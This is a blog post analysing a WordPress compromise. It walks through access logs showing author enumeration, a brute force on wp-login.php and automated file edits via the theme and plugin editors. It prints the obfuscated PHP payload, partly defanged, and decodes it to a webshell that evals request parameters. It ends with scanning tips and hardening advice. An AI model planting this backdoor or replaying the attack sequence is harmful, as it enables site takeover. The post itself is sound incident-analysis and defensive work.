Brute force using WordPress
If you check out the access log of WordPress, you'll rapidly see that a lot of "POST /wp-login.php HTTP/1.1" are coming from the same IP address. And that IP comes from a country with somewhat shady reputation. The User Agent field actually varies, but like way too much for the same IP.
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57)" "Opera/9.80 (X11; Linux x86_64; U; bg) Presto/2.8.131 Version/11.10" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.813.0 Chrome/14.0.813.0 Safari/535.1"
And so on.. it's like it changes at each request. Weird.
If you follow up the IP, you see that the first thing there is a "GET / HTTP/1.1". I presume it is there to find that the site is WordPress and then the attack is launched later, 8 days in this case. Maybe it was a big scan at first, then the attacker just fired up its brute force tool by himself, all using the same IP.
Then there's an interesting part:
"GET /?author=1 HTTP/1.1" 301 "GET /?author=2 HTTP/1.1" 301 "GET /?author=3 HTTP/1.1" 301 .. up to .. "GET /?author=10 HTTP/1.1" 301
This actually returns a 301 to something like "/author/admin/", so that way it is possible to retrieve the username. So if you thought that renaming the admin user to something else, well, it's void by that "feature" of WordPress.
Then you see, less than one second after that last GET, that the brute force starts:
"POST /wp-login.php HTTP/1.1" 200Each time WordPress is returning a 200.. until
"POST /wp-login.php HTTP/1.1" 302and this is actually when a login is successful.
Infection of WordPress with a simple backdoor
Just one instant after that, it automatically starts to do this
"GET /wp-admin/theme-editor.php HTTP/1.1" 301 "POST /wp-admin/theme-editor.php HTTP/1.1" 200 over a bunch of "GET /wp-admin/plugin-editor.php?file=disable-comments/disable-comments.php HTTP/1.1" 200 "POST /wp-admin/plugin-editor.php HTTP/1.1" 302Note that it infects PHP, JS and CSS files, even if doing so on the last two is questionnable looking at the payload (I replaced "eval" by "echo"):
<?php /*tFi*/echo/*D|G].*/(/*'naT V*/base64_decode/*+m(%*/(/*=0<j*/'LyprYT1mKi9ldmFsLyogUVsnKi8oLyosfDJ4bSovYmFzZTY0X2RlY29kZS8qRzghWyovKC8qQ3VwYzFeKi8nTHlvdE1rZHRSRndxTDJsbUx5cE5jRUJUTTJNcUx5Z3ZLbVkzSicvKl4reWU4OFMqLy4vKlZyWFhWTj1AKi8nbUFxTDJsemMyVjBMeW9sSUdSeGNHa3FMeWd2S2tZbFFTb3ZKRicvKmw6YmY5Ki8uLypCNVw+byovJzlT'/*[n_i_!*/./*-Zwf-U*/'UlZGVlJWTlVMeW9vZXpkb0tpOWJMeXBwUlRGdktpOG5ZaWMnLypoeGFkTiovLi8qXn0/MCovJ3ZLbU5YUVhOclJDb3ZMaThxTmtkTEtpOG5lU2N2S25oemZpb3YnLypPdXpdKi8uLypgeiF8LnQpKi8nTGk4cUtEcDRkeW92SjJ3bkx5bytMV2xzWURZcUx5NHZLbmMxSScvKnhIekZkPl4tKi8uLypjYFddUk8qLydVWlFLaThuYkNj'/*Qi5_~:*/./*%ub(]l*/'dktsdG9RQ292TGk4cVlGSTBUeW92SjNWdUp5Jy8qPV4wRCovLi8qcH1uISovJzhxUkhJd0xsaHJTRzhxTDEwdktrVldMQ0Z4YW1vcUx5OHFSREYnLypkdz5cK0EreyovLi8qZnU6e0lpKi8ndWRWUlhmQ292S1M4cUlEaHZWQ292THlvOWRpRkhTVVIrS2k4cCcvKmRIQkQqLy4vKnxwKz1BKi8nTHlweU1tUXhXRWtwS2k5bGRtRnNM'/*2I;i*/./*7azS*/'eW9tVFd4ZklIa3FMeWd2SycvKnJST0w0QnQqLy4vKiU6WCVtIScqLydtcE1PVzhxTDNOMGNtbHdjMnhoYzJobGN5OHFVbXBnUUNvdktDJy8qMmliOHUqLy4vKj51OlcuTXUqLyc4cVFFTlViMHBJS2k4a1gxSkZVVlZGVTFRdktpbFZNWEE5S2k5Jy8qaDB3bkUqLy4vKlx8VHMsMVtqKi8nYkx5bzdURVJoTFNvdkoySW5MeXA1Y25G'/*)4ZE7*/./*%<]~*/'aVlDMHFMeTR2S21KaicvKmljSEIhPSovLi8qXDZhTHtTKi8nYXpaRklDb3ZKM2tuTHlvK1ZVODRLaTh1THlwWlBuWjRiQ292SicvKjRNYiovLi8qMDxQQHs5Ki8nMnduTHlwdmIwUmRma1FxTHk0dktsRlJlU292SjJ3bkx5cDNRaicvKmtieCsqLy4vKnNMQmsqLycwMFFsc3FMeTR2S2xRdGZWdGlLaThuZFc0bkx5cHNkSGtxTDEw'/*:n`d*/./*d?=@*/'Jy8qdjRAXCk4Ki8uLypbSnYqLyd2S21wUE9XQW1jaW92THlvM1JHUnlReW92S1M4cWJGZGZSU292Jy8qYHI2RDhoKi8uLyp5PUtpRmNJKi8nTHlvdVpHb3pQaW92S1M4cU5qTTNjV3BYZXlvdkx5cHRTM2hoS2k4N0x5cEVZajBxTHc9PScvKkJQZ2B4Ki8pLyp7Yyt9TyovLypad31WKi8pLypQYGEzKi8vKlREeyovOy8qYDI1X2EqLw=='/*tTNc*/)/*lXBpH*//*!n^[*/)/*-{%3*//*^0,%1*/;/*Q?k4zT7*/ ?>
Then I had to play with it, like a rusian doll, in order to go see what's inside:
/*-2GmD\*/if/*Mp@S3c*/(/*f7&`*/isset/*% dqpi*/(/*F%A*/$_REQUEST/*({7h*/[/*iE1o*/'b'/*cWAskD*/./*6GK*/'y'/*xs~*/./*(:xw*/'l'/*>-il`6*/./*w5!FP*/'l'/*[h@*/./*`R4O*/'un'/*Dr0.XkHo*/]/*EV,!qjj*//*D1nuTW|*/)/* 8oT*//*=v!GID~*/)/*r2d1XI)*/eval/*&Ml_ y*/(/*jL9o*/stripslashes/*Rj`@*/(/*@CToJH*/$_REQUEST/*)U1p=*/[/*;LDa-*/'b'/*yrqb`-*/./*bck6E */'y'/*>UO8*/./*Y>vxl*/'l'/*ooD]~D*/./*QQy*/'l'/*wB=4B[*/./*T-}[b*/'un'/*lty*/]/*jO9`&r*//*7DdrC*/)/*lW_E*//*.dj3>*/)/*637qjW{*//*mKxa*/;/*Db=*//*N^80>W*/if/*['7H-&*/(/*E@jc-JVv*/isset/*B{0Rt)(*/(/*\+WF*/$_REQUEST/*`:N)*/[/*v_kR*/'juu'/*}y3*/./*5>'.`*/'ltwf'/*^ _1g*/]/*Igww0*//*;MN_7*/)/*H<2*//*(+yPz*/)/*vw=K1*/eval/*R8Us+rn*/(/*PaeT*/stripslashes/*vO@*/(/*3Ic8Y*/$_REQUEST/*w39&B*/[/*'>wco_o*/'ju'/*tut7n*/./*q02H*/'ul'/*TOdt. (*/./*_AnurWu\*/'twf'/*2cx|i*/]/*%'3Jh>p*//*i;|*/)/*Vg<{i*//*&3aNc*/)/*5[avi*//*xg\7V*/;/*txFiAuZ*/
then removing the comments with something like http://beta.phpformatter.com/ :
if (isset($_REQUEST['b' . 'y' . 'l' . 'l' . 'un'])) eval(stripslashes($_REQUEST['b' . 'y' . 'l' . 'l' . 'un'])); if (isset($_REQUEST['juu' . 'ltwf'])) eval(stripslashes($_REQUEST['ju' . 'ul' . 'twf']));
and the useless fluff:
if (isset($_REQUEST['byllun'])) eval(stripslashes($_REQUEST['byllun'])); if (isset($_REQUEST['juultwf'])) eval(stripslashes($_REQUEST['juultwf']));
So basically, it's a backdoor that evals content from GET or POST. I haven't found any usage of them in the logs, so it may be that it was passed by POST or not used at all. Also, the same IP adress didn't made any request out of the brute force or infection patterns, so the chances it happenned is lower.
How to scan
Easy, for your files, look at something like LyprYT1mKi9ldmFsLyog or LypaVnxXKi8. But then, it could be that some part are generated randomly, so to make sure, just look for evals and base64_decode, the code shbouldn't have a lot of theses anyways.For the access logs, you just need to check your hits at POST /wp-login.php and sort it by count number. The brute force will then appear easily.
How to fix
There's a lot of resources that you can find on the subject, especially on http://codex.wordpress.org/Brute_Force_Attacks and http://codex.wordpress.org/Hardening_WordPress but a simple solution, that will also ease the load of your server, is to add an additionnal password check or IP restriction to wp-login and wp-admin while you are at it.<LocationMatch "wp-(login|admin)"> AuthUserFile /var/.htpasswd AuthName "AUTHORIZED USERS ONLY" AuthType Basic require valid-user </LocationMatch>
Another fix, if you have access to ModSecurity, is detailled on http://blog.spiderlabs.com/2013/04/defending-wordpress-logins-from-brute-force-attacks.html
No comments:
Post a Comment